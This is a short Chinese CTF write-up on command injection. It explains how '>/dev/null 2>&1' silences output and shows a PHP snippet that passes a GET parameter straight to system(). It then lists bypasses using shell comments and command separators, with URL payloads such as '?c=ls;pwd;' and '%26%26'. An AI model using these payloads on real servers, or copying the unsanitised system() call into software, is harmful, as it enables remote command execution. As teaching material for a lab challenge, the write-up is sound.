输出重定向与 /dev/null

发布于: 2024-05-16 05:53

重定向丢弃机制

分析>/dev/null 2>&1

  • >:将标准输出重定向
  • /dev/null 是一个特殊设备文件,写入的数据会被内核直接丢弃
  • 2>&1:将标准错误(文件描述符2)重定向到标准输出(文件描述符1),即把错误输出和正常输出都导向/dev/null

因此,这个命令的整体效果是,运行命令时,不会在终端上看到任何输出或错误信息。这个技巧常用于需要静默运行的脚本或命令。

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}

在system执行命令里拼接了重定向到/dev/null,出现命令执行没有回显的效果,利用shell特性完成绕过

解决方案:

注释

使用注释绕过

ctf@ubuntu:~$ ls
1.txt
ctf@ubuntu:~$ ls # >/dev/null 2>&1
1.txt

命令分隔符

在Linux命令行中,分号(;)、竖线(|)、双竖线(||)、和符号(&)以及双与符号(&&)有不同的作用:

在linux终端中,一次是可以执行多个命令的,例如pwd;ls;,通过这些分隔符,可以分割多个命令

可以通过拼接,实现类似cat flag;ls,拼接到php里后,就是cat flag;ls >/dev/null 2>&1,这样第二条命令没有回显,第一条不受影响

分号(;):用于分隔多个命令,依次执行每个命令,不管前面的命令是否成功。          例如:?c=ls;pwd;  
竖线(|):管道符号,用于将一个命令的输出传递给另一个命令作为输入。             # 测试失败
双竖线(||):逻辑或运算符,用于在第一个命令失败时执行第二个命令。              例如:?c=ls||
和符号(&):在命令末尾使用表示在后台执行该命令。                              例如:?c=pwd%26
双与符号(&&):逻辑与运算符,用于只有在第一个命令成功执行后才执行第二个命令。   例如:?c=pwd%26%26  

在ctf web题目中,如果get传参&,需要urlencode编码为%26,否则会被当做分隔符分割成多个参数,导致命令执行失败